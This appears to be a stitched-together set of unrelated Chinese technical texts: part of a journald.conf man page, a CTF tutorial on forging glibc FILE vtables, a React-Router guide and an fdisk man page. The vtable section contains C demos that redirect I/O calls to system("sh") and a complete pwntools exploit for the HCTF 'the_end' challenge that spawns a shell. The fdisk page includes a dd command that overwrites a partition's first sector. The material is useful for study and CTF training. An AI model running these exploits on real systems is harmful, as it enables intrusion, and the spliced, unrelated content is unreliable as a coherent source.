表示每个用户都有自己专属的日志文件(无论该用户是否拥有登录会话), 但系统用户的日志依然记录到系统日志中。这是默认值。 "none" 表示不对日志文件进行分割,而是将所有日志都记录到系统日志中。 这意味着非特权用户根本无法读取属于自己的日志信息。 .RE .PP \fIRateLimitIntervalSec=\fR, \fIRateLimitBurst=\fR .RS 4 用于限制日志的生成速度(设为零表示不作限制)。 \fIRateLimitIntervalSec=\fR 用于设置一个时间段长度,默认值是30秒。 \fIRateLimitBurst=\fR 用于设置一个正整数,表示消息条数,默认值是1000条。 表示在 \fIRateLimitIntervalSec=\fR 时间段内, 每个服务最多允许产生 \fIRateLimitBurst=\fR 数量(条数)的日志。 在同一个时间段内,超出数量限制的日志将被丢弃,直到下一个时间段才能再次开始记录。 对于所有被丢弃的日志消息,仅用一条类似"xxx条消息被丢弃"的消息来代替。 这个限制是针对每个服务的限制,一个服务超限并不会影响到另一个服务的日志记录。 \fIRateLimitIntervalSec=\fR 可以使用下面的时间单位:"ms", "s", "min", "h", "d" .RE .PP \fISystemMaxUse=\fR, \fISystemKeepFree=\fR, \fISystemMaxFileSize=\fR, \fISystemMaxFiles=\fR, \fIRuntimeMaxUse=\fR, \fIRuntimeKeepFree=\fR, \fIRuntimeMaxFileSize=\fR, \fIRuntimeMaxFiles=\fR .RS 4 限制日志文件的大小上限。 以 "System" 开头的选项用于限制磁盘使用量, 也就是 /var/log/journal 的使用量。 以 "Runtime" 开头的选项用于限制内存使用量, 也就是 /run/log/journal 的使用量。 以 "System" 开头的选项仅在 /var/log/journal 目录确实存在且可写时才有意义。 但以 "Runtime" 开头的选项永远有意义。 也就是说, 在系统启动早期 /var 尚未挂载时、 或者系统管理员禁止在磁盘上存储日志的时候, 仅有 "Runtime" 开头的选项有意义。 \fBjournalctl\fR 与 \fBsystemd\-journald\fR 工具会忽略日志目录中 所有后缀名不等于 "\&.journal" 或 "\&.journal~" 的文件。 换句话说, 日志目录中不应该存在后缀名不等于 "\&.journal" 或 "\&.journal~" 的文件, 因为这些文件永远不会被清理。 .sp \fISystemMaxUse=\fR 与 \fIRuntimeMaxUse=\fR 限制全部日志文件加在一起最多可以占用多少空间。 \fISystemKeepFree=\fR 与 \fIRuntimeKeepFree=\fR 表示除日志文件之外,至少保留多少空间给其他用途。 \fBsystemd\-journald\fR 会同时考虑这两个因素, 并且尽量限制日志文件的总大小,以同时满足这两个限制。 .sp \fISystemMaxUse=\fR 与 \fIRuntimeMaxUse=\fR 的默认值是10%空间与4G空间两者中的较小者; \fISystemKeepFree=\fR 与 \fIRuntimeKeepFree=\fR 的默认值是15%空间与4G空间两者中的较大者; 如果在 systemd\-journald 启动时, 文件系统即将被填满并且已经超越了 \fISystemKeepFree=\fR 或 \fIRuntimeKeepFree=\fR 的限制,那么日志记录将被暂停。 也就是说,如果在创建日志文件时,文件系统有充足的空闲空间, 但是后来文件系统被其他非日志文件过多占用, 那么 systemd\-journald 只会立即暂停日志记录, 但不会删除已经存在的日志文件。 .sp \fISystemMaxFileSize=\fR 与 \fIRuntimeMaxFileSize=\fR 限制单个日志文件的最大体积, 到达此限制后日志文件将会自动滚动。 默认值是对应的 \fISystemMaxUse=\fR 与 \fIRuntimeMaxUse=\fR 值的1/8 , 这也意味着日志滚动默认保留7个历史文件。 .sp 日志大小的值可以使用以1024为基数的 K, M, G, T, P, E 后缀, 分别对应于 1024, 1024\(S2, \&.\&.\&. 字节。 .sp \fISystemMaxFiles=\fR 与 \fIRuntimeMaxFiles=\fR 限制最多允许同时存在多少个日志文件, 超出此限制后, 最老的日志文件将被删除, 而当前的活动日志文件则不受影响。 默认值为100个。 .RE .PP \fIMaxFileSec=\fR .RS 4 日志滚动的时间间隔。 通常并不需要使用基于时间的日志滚动策略, 因为由 \fISystemMaxFileSize=\fR 与 \fIRuntimeMaxFileSize=\fR 控制的基于文件大小的日志滚动策略 已经可以确保日志文件的大小不会超标。 默认值是一个月, 设为零表示禁用基于时间的日志滚动策略。 可以使用 "year", "month", "week", "day", "h", "m" 时间后缀, 若不使用后缀则表示以秒为单位。 .RE .PP \fIMaxRetentionSec=\fR .RS 4 日志文件的最大保留期限。 当日志文件的最后修改时间超过此期限后将被删除。 默认值零表示不使用基于时间的日志删除策略。 通常并不需要使用基于时间的日志删除策略,因为由 \fISystemMaxUse=\fR 与 \fIRuntimeMaxUse=\fR 控制的基于文件大小的日志滚动策略 已经可以确保日志文件的大小不会超标。 可以使用 "year", "month", "week", "day", "h", "m" 时间后缀, 若不使用后缀则表示以秒为单位。 .RE .PP \fISyncIntervalSec=\fR .RS 4 向磁盘刷写日志文件的时间间隔,默认值是五分钟。 刷写之后,日志文件将会处于离线(OFFLINE)状态。 注意,当接收到 CRIT, ALERT, EMERG 级别的日志消息后, 将会无条件的立即刷写日志文件。 因此该设置仅对 ERR, WARNING, NOTICE, INFO, DEBUG 级别的日志消息有意义。 .RE .PP \fIForwardToSyslog=\fR, \fIForwardToKMsg=\fR, \fIForwardToConsole=\fR, \fIForwardToWall=\fR .RS 4 \fIForwardToSyslog=\fR 表示是否将接收到的日志消息转发给传统的 \m[blue]\fBsyslog\fR\m[]\&\s-2\u[2]\d\s+2 守护进程,默认值为"no"。 如果设为"yes",但是没有任何进程监听对应的套接字,那么这种转发是无意义的。 此选项可以被内核引导选项 "systemd\&.journald\&.forward_to_syslog=" 覆盖。 \fIForwardToKMsg=\fR 表示是否将接收到的日志消息转发给内核日志缓冲区(kmsg),默认值为"no"。 此选项可以被内核引导选项 "systemd\&.journald\&.forward_to_kmsg=" 覆盖。 \fIForwardToConsole=\fR 表示是否将接收到的日志消息转发给系统控制台,默认值为"no"。 如果设为"yes",那么可以通过下面的 \fITTYPath=\fR 指定转发目标。 此选项可以被内核引导选项 "systemd\&.journald\&.forward_to_console=" 覆盖。 \fIForwardToWall=\fR 表示是否将接收到的日志消息作为警告信息发送给所有已登录用户,默认值为"yes"。 此选项可以被内核引导选项 "systemd\&.journald\&.forward_to_wall=" 覆盖。 .RE .PP \fIMaxLevelStore=\fR, \fIMaxLevelSyslog=\fR, \fIMaxLevelKMsg=\fR, \fIMaxLevelConsole=\fR, \fIMaxLevelWall=\fR .RS 4 \fIMaxLevelStore=\fR 设置记录到日志文件中的最高日志等级,默认值为"debug"; \fIMaxLevelSyslog=\fR 设置转发给传统的 \m[blue]\fBsyslog\fR\m[]\&\s-2\u[2]\d\s+2 守护进程的最高日志等级,默认值为"debug"; \fIMaxLevelKMsg=\fR 设置转发给内核日志缓冲区(kmsg)的最高日志等级,默认值为"notice"; \fIMaxLevelConsole=\fR 设置转发给系统控制台的最高日志等级,默认值为"info"; \fIMaxLevelWall=\fR 设置作为警告信息发送给所有已登录用户的最高日志等级,默认值为"emerg"; 这些选项既可以设为日志等级的名称, 也可以设为日志等级对应的数字: "emerg"(0), "alert"(1), "crit"(2), "err"(3), "warning"(4), "notice"(5), "info"(6), "debug"(7) 。 所有高于设定等级的日志消息都将被直接丢弃, 仅保存/转发小于等于设定等级的日志消息。 .RE .PP \fITTYPath=\fR .RS 4 指定 \fIForwardToConsole=yes\fR 时所使用的控制台TTY, 默认值是 /dev/console .RE .SH "日志转发" .PP 有两种不同的日志转发方法: (1)通过套接字文件(/run/systemd/journal/syslog) 可以将收集到的日志消息 立即转发给套接字的监听进程(传统的 \m[blue]\fBsyslog\fR\m[]\&\s-2\u[2]\d\s+2 守护进程)。 此方法受 \fIForwardToSyslog=\fR 指令的控制。 (2)日志接收进程作为客户端运行,就像 \fBjournalctl\fR(1) 一样读取日志文件。 因此,此方法在 \fIStorage=none\fR 时无效。 此方法不能实时读取日志消息, 但是可以读取先前保存的日志消息(例如在系统启动完成之后读取系统启动早期的日志消息)。 此方法还可以读取到完整的日志元数据。 此方法一般无法读取当前最新的日志消息, 只能读取已经被记录到文件系统上的日志消息。 注意,\m[blue]\fBsyslog\fR\m[]\&\s-2\u[2]\d\s+2 守护进程通常使用此方法(而不是前一种方法), 因此 \fIStorage=\fR 选项(而不是 \fIForwardToSyslog=\fR 选项) 不应该设为"none"。 .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd-journald.service\fR(8), \fBjournalctl\fR(1), \fBsystemd.journal-fields\fR(7), \fBsystemd-system.conf\fR(5) .SH "NOTES" .IP " 1." 4 Seekable Sequential Key Generators .RS 4 \%https://eprint.iacr.org/2013/397 .RE .IP " 2." 4 syslog .RS 4 \%//linux/sysklogd.html .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# 伪造vtable劫持程序流程 ## 简介 前面我们介绍了Linux中文件流的特性(FILE),我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理。尤其是_IO_FILE_plus结构中存在vtable,一些函数会取出vtable中的指针进行调用。 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。 因此vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。 ## 实践 这里演示了修改vtable中的指针,首先需要知道_IO_FILE_plus位于哪里,对于fopen的情况下是位于堆内存,对于stdin\stdout\stderr是位于libc.so中。 ``` int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable vtable_ptr[7]=0x41414141 //xsputn printf("call 0x41414141"); } ``` 根据vtable在_IO_FILE_plus的偏移得到vtable的地址,在64位系统下偏移是0xd8。之后需要搞清楚欲劫持的IO函数会调用vtable中的哪个函数。关于IO函数调用vtable的情况已经在FILE结构介绍一节给出了,知道了printf会调用vtable中的xsputn,并且xsputn的是vtable中第八项之后就可以写入这个指针进行劫持。 并且在xsputn等vtable函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus地址。比如这例子调用printf,传递给vtable的第一个参数就是_IO_2_1_stdout_的地址。 利用这点可以实现给劫持的vtable函数传參,比如 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable memcopy(fp,"sh",3); vtable_ptr[7]=system_ptr //xsputn fwrite("hi",2,1,fp); } ``` 但是在目前libc2.23版本下,位于libc数据段的vtable是不可以进行写入的。不过,通过在可控的内存中伪造vtable的方法依然可以实现利用。 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); } ``` 我们首先分配一款内存来存放伪造的vtable,之后修改_IO_FILE_plus的vtable指针指向这块内存。因为vtable中的指针我们放置的是system函数的地址,因此需要传递参数"/bin/sh"或"sh"。 因为vtable中的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递,因此这里我们把"sh"写入_IO_FILE_plus头部。之后对fwrite的调用就会经过我们伪造的vtable执行system("sh")。 同样,如果程序中不存在fopen等函数创建的_IO_FILE时,也可以选择stdin\stdout\stderr等位于libc.so中的_IO_FILE,这些流在printf\scanf等函数中就会被使用到。在libc2.23之前,这些vtable是可以写入并且不存在其他检测的。 ``` print &_IO_2_1_stdin_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_> 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so ``` ## 2018 HCTF the_end [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/io-file/2018_hctf_the_end/) ### 基本信息 ``` void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { signed int i; // [rsp+4h] [rbp-Ch] void *buf; // [rsp+8h] [rbp-8h] sleep(0); printf("here is a gift %p, good luck ;)\n", &sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i <= 4; ++i ) { read(0, &buf, 8uLL); read(0, buf, 1uLL); } exit(1337); } ``` 分析题目,利用点很明确在 main 函数中,且: - 除了 canary 保护全开 - libc 基地址和 libc 版本 - 能够任意位置写 5 字节 ### 思路: - 利用的是在程序调用 `exit` 后,会遍历 `_IO_list_all` ,调用 `_IO_2_1_stdout_` 下的 `vtable` 中 `_setbuf` 函数。 - 可以先修改两个字节在当前 `vtable` 附近伪造一个 `fake_vtable` ,然后使用 3 个字节修改 `fake_vtable` 中 `_setbuf` 的内容为 `one_gadget`。 我们先调试找出 `_IO_2_1_stdout_` 和 libc 的偏移,这里很蠢的地方是我最初是在 gdb 中搜索相关符号,但是其实找出的地址是 `_IO_2_1_stdout_` 这个符号所在的位置,而不是其在 libc 数据段上的位置,我们借助 ida 或者 libcsearch 工具找出 `vtables` 偏移 `0x3C56F8` 如下: ``` .data:00000000003C56F8 dq offset _IO_file_jumps // vtables .data:00000000003C5700 public stderr .data:00000000003C5700 stderr dq offset _IO_2_1_stderr_ .data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ; fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ; fclose+E9↑r ... .data:00000000003C5710 public stdin .data:00000000003C5710 stdin dq offset _IO_2_1_stdin_ .data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o .data:00000000003C5710 ; fclose:loc_6D340↑r ... .data:00000000003C5718 dq offset sub_20B70 .data:00000000003C5718 _data ends .data:00000000003C5718 .bss:00000000003C5720 ; =========================================================================== ``` 我们查看下虚表内容: ``` pwndbg> x /30gx 0x7f41d9c026f8 0x7f41d9c026f8 <_IO_2_1_stdout_+216>: 0x00007f41d9c006e0 0x00007f41d9c02540 0x7f41d9c02708 <stdout>: 0x00007f41d9c02620 0x00007f41d9c018e0 0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000 0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000 ``` 然后此时在虚表附近寻找一个 `fake_vtable`,需满足以下条件: - `fake_vtable_addr` + 0x58 = `libc_base` + `off_set_3` - 其中 0x58 根据下表查处是 `set_buf` 在虚表的偏移 ``` void * funcs[] = { 1 NULL, // "extra word" 2 NULL, // DUMMY 3 exit, // finish 4 NULL, // overflow 5 NULL, // underflow 6 NULL, // uflow 7 NULL, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // doallocate 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, // showmanyc 21 NULL, // imbue }; ``` 我这里选择了以下地址作为 `fake_vtable` : ``` pwndbg> x /60gx 0x7f41d9c02500 0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000 0x7f41d9c02510: 0x0000000000000000 0x0000000000000000 0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000 0x7f41d9c02530: 0x0000000000000000 0x0000000000000000 0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000 0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620 0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff 0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770 0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000 0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0 0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010 0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000 0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0 0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780 0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000 0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words) pwndbg> p 0x7f41d9c025e0 -0x58 $10 = 0x7f41d9c02588 pwndbg> distance 0x7f41d9c02588 0x7f41d983d000 0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words) pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words) ``` 最终的利用脚本如下: ``` from pwn import * context.log_level="debug" libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") # p = process('the_end') p = remote('127.0.0.1',1234) rem = 0 if rem ==1: p = remote('150.109.44.250',20002) p.recvuntil('Input your token:') p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU') sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1] libc_base = long(sleep_ad,16) - libc.symbols['sleep'] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8 fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0 print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget) print 'exit_addr:',hex(libc_base + libc.symbols['exit']) # gdb.attach(p) for i in range(2): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i]) for i in range(3): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i]) p.sendline("exec /bin/sh 1>&0") p.interactive() ```
sec-knowleage
## React-Router **react-router** 是官方指定和维护的 React 路由库,它通过管理 URL,实现组件间切换,和状态 (state) 的变化。 ### 装包 ``` npm i react-router-dom --save ``` ### 使用 使用时,路由Router就是React的一个组件。需要引用 ```js import { BrowserRouter as Router, //as就是把前面的作为后面的使用 Route, Link } from 'react-router-dom' ``` Router组件本身只是一个容器,真正的路由要通过Route组件定义。 #### 创建一个router组件 ```js import React from 'react' import {BrowserRouter,Route,Link} from 'react-router-dom' let Home = () => <h2>Home</h2> let User = () => <h2>User</h2> //几个简单的子组件 class App extends React.Component{ render(){ return( <BrowserRouter> <div className='app'> <div className='header'> <h1>App</h1> </div> <div className='main'> <Route exact path='/home' component={Home}></Route> <Route path='/user' component={User}></Route> //path属性指定路由的匹配规则(地址) //component属性指定加载的组件 </div> <div className='footer'> <Link to='/home'>Home</Link> //to跳转到对应路径的组件 <Link to='/user'>User</Link> </div> </div> </BrowserRouter> ) } } export default App ``` ### 参考 - 官网地址:[点击进入](https://reacttraining.com/react-router/web/guides/philosophy) - 中文文档地址:[点击进入](http://www.uprogrammer.cn/react-router-cn/) - 阮一峰日志:[点击进入](http://www.ruanyifeng.com/blog/2016/05/react_router.html)
sec-knowleage
.\"; 中文版版权所有 soloman, Laser www.linuxforum.net 2000 .TH FDISK 8 "11 June 1998" "Linux 2.0" "Linux程序员手册" .SH NAME fdisk \- Linux分区表操作工具软件 .SH 总览 .BI "fdisk [\-u]" 设备名 .sp .BI "fdisk \-l [\-u] [" "设备名 ..." ] .sp .BI "fdisk \-s" "分区 ..." .sp .BI "fdisk \-v .SH 描述 硬盘可以被分成一个或多个逻辑磁盘,称为 .IR 分区。 这些分区信息都存放在硬盘0扇区的 .IR "分区表" 中。 .PP 在 BSD 风格中,分区被称为“磁盘片”和“磁盘标签” .PP Linux 至少需要一个分区,即用做它的 root 文件系统。 Linux 可以使用交换文件和/或交换分区,交换分区更有效。 因此,通常用户会创建第二个 Linux 分区供交换分区使用。 在 Intel 兼容的硬件上,启动系统的 BIOS 往往只能访问 1024 柱面之前的硬盘。 因此,使用大硬盘的用户通常创建第三个只有几兆大小的小分区, 通常用来装配在 .IR /boot ,用来存放内核映象和一些其它启动时需要的附属文件, 所以应确保此分区必须是在BIOS可访问的部分。 出于安全方面的考虑、管理方面的原因、备份的需要或为了某些测试, 也可以将一个硬盘分成更多的分区使用。 .PP .B fdisk (以第一种形式调用)是一个以菜单问答形式出现的用来创建和修改分区的程序。 它可以辩认 DOS 类型的分区表和 BSD 或 SUN 类型的磁盘标签。 .PP .I 设备 通常是下列之一: .br .nf .RS /dev/hda /dev/hdb /dev/sda /dev/sdb .RE .fi (/dev/hd[a-h] 指 IDE 硬盘,/dev/sd[a-p] 指 SCSI 硬盘, /dev/ed[a-d] 指 ESDI 硬盘,/dev/xd[ab] 指 XT 硬盘)。 设备名指整个硬盘设备。 .I 分区 是在 .I 设备名 后跟一个分区号。例如: .B /dev/hda1 是指系统在第一个 IDE 硬盘上的第一个分区。 IDE 硬盘可以最多创建 63 个分区,SCSI 可以创建 15 个。 又见 .IR /usr/src/linux/Documnetation/devices.txt 。 .PP 一个 BSD/SUN 风格的磁盘标签可以描述 8 个分区, 其中第三个应该是“整个磁盘”分区。 不要在零柱面使用那些的确使用其第一扇区的分区,(比如交换分区) 因为这将损坏磁盘标签。 .PP 一个 IRIX/SGI 风格的磁盘标签可以描述 16 个分区, 其中第十一个应该是完整“卷标”分区, 而第九个应该被标成“卷标头”。 卷标头将覆盖分区表,即,它从零块开始并缺省时延伸 5 个柱面。 卷标头中余下的空间可以用来存放头部目录记录信息。 不要有任何分区与此卷标头重叠。 同样,也不要改变它的类形和在其中创建任何文件系统, 因为这样做将丢失分区表信息。 只有当将 Linux 安装在 IRIX/SGI 机器上或 在 Linux 中使用 IRIX/SGI 磁盘时才会使用这种类形的标签。 .PP 一个 DOS 风格的分区表可以描述无限的分区。 零扇区用来存放 4 个分区(称为主分区)的描述信息。 其中可以有一个分区是扩展分区;此扩展分区也就是存储各逻辑分区地方, 是一个在组成链表的扇区里存放的描述符,每个描述符都是一个对应分区的开头. 四个主分区,不管是否存在,都用数字 1-4 编号,而逻辑分区以 5 开始。 .PP 在 DOS 风格的分区表中, 开始地址偏移量和每个分区的大小是以两种不同的方式来存放的: 以扇区数的绝对值来描述(占 32 位) 和以柱面、磁头、扇区三个一组的形式(占 10+8+6 个位)来描述。 前一种描述很好 - 如果每扇区 512 个字节的情况,这种方式可描述到 2TB 的大小。 后一种方式有两个不同的问题。 第一个是这种 C/H/S 方式必须是在磁头数和每磁道扇区数都已知的情况下才能使用。 第二个是就算我们已经知道了这些数字,而只用 24 位来描述这些信息也是不够的。 DOS 只使用这种 C/H/S 的方式,Windows 则两个都用,Linux 则不使用 C/H/S 的方式。 .PP 如果可能, .B fdisk 会自动获得磁盘的几何结构。这不一定是磁盘的物理结构(当然,现在的 磁盘没有真正的物理结构,同样也不能以简单的柱面/磁头/扇区的形式来描述), 而是 MS-DOS 用来供分区表使用的几何结构。 .PP 通常,缺省时这些都将工作得很好, 而且,如果磁盘上只有一个 Linux 操作系统时也不会有任何问题。 然而,如果磁盘上还有其它操作系统, 那么,用其它操作系统的 fdisk 来生成其自身使用的至少一个分区是比较好的选择。 当Linux启动的时侯,它会扫描分区表, 并由此推出和其它共存操作系统友好合作所需的(伪)几何结构。 .PP 当打印一个分区表时,系统会对分区表进行一次一至性检查。 这些检查会验证磁盘几何结构和物理地址的开始、结束、指向和标识, 同时在柱面的边界检查分区的开始和结束。(除了第一个分区) .PP 一些版本的 MS-DOS 在创建第一个分区时并不是从柱面边界的开始处, 而是从第一柱面的第 2 扇区处开始。 从柱面 1 开始的分区不能直接从柱面边界开始,但这未必会造成困难, 除非你在你的机器上安装了 OS/2 操作系统。 .PP 当执行了对分区表的更新后退出时, 程序会运行一次 sync() 和 BLKRRPART ioct1() (从磁盘上重读分区表信息)。 以前,在使用完 fdisk 后需要重启系统。我认为现在不需要这样了 -- 太快的重起可能导致未写入磁盘的数据丢失。 注意,内核和磁盘硬件都可能缓存数据。 .SH "DOS6.x WARNING" DOS6.x 的 FORMAT 命令会在分区的第一扇区的数据区查找一些信息, 并认为这些信息比分区表中的信息更可靠。 DOS 的 FORMAT 命令认为 DOS 的 FDISK 命令会在分区变化时 自动清除分区数据区的前 512 字节区域。 DOS 的 FORMAT 将查看这些额外的信息, 甚至在给出了 /U 这个参数后也是如此。 我们认为这是 DOS FORMAT 和 DOS FDISK 的臭虫。 .PP 如果你使用 cfdisk 或 fdisk 更改了 DOS 分区表的条目, 你必须同时使用 .B dd 命令将该分区的前512个字节清零, 之后,你才能使用 DOS 的 FORMAT 命令对这个分区进行格式化。 例如:如果你使用 cfdisk 去创建一个 DOS 分区表项目, 即分区 /dev/hda1,然后 (在退出 fdisk 或 cfdisk 后重启 Linux 使分区表合法化) 你就有必要使用如下命令 “dd if=/dev/ero of=/dev/hda1 bs=512 count=1” 来将分区的前 512 个字节清零。 .PP 当你使用 .B dd 命令时请 .B 务必万分小心 , 由于任何小的打印错误都将造成磁盘数据的失效。 .PP 最好你还是使用由操作系统指定的分区工具软件。 例如,当你创建 DOS 分区时应使用 DOS FDISK, 而创建 Linux 分区时则使用 Linux 的 fdisk 或 cfdisk。 .PP .SH 选项 .TP .B \-v 打印 .B fdisk 的版本信息并退出. .TP .B \-l 列出指定设备的分区表信息并退出。 如果没有给出设备,那么使用那些在 .I /proc/partitions (如果存在)提到的. .TP .B \-u 以扇区数而不是以柱面数的形式显示分区表中各分区的信息. .BI "\-s " 分区 将分区的 .I 大小 (单位为块)信息输出到标准输出 .SH 臭虫 在 Linux 中有很多版本的 *fdisk 类程序。 每一个都有自己的强项和缺点。分别试着使用 .BR cfdisk , .BR fdisk , .BR sfdisk . (特别是, .B cfdisk 是一个漂亮的程序,它只接受最严谨的分区表, 而且它能生成高质量的分区表。 如果可能,你最好使用这个程序。 .B fdisk 是一个有很多臭虫的分区工具软件, 它所做的操作是模糊不清的,通常在碰巧的情况下它才会正常的运行。 它唯一值得使用的地方是它对 BSD 的磁盘标签和非 DOS 的分区表有所支持, 尽量少用这个程序。 .B sfdisk 是一个专为黑客提供的程序,它的用户界面很不友善, 但它更精确,也比 fdisk 和 cfdisk 更有效。 另外,它只能以非交互的方式运行。 .PP IRIX/SGI 风格的磁盘标签不再被当前的内核所支持, IRIX/SGI 头目录同样也不是完全支持。 .PP 选项“dump partition table to file”不可用 .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" 2000/12/04 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
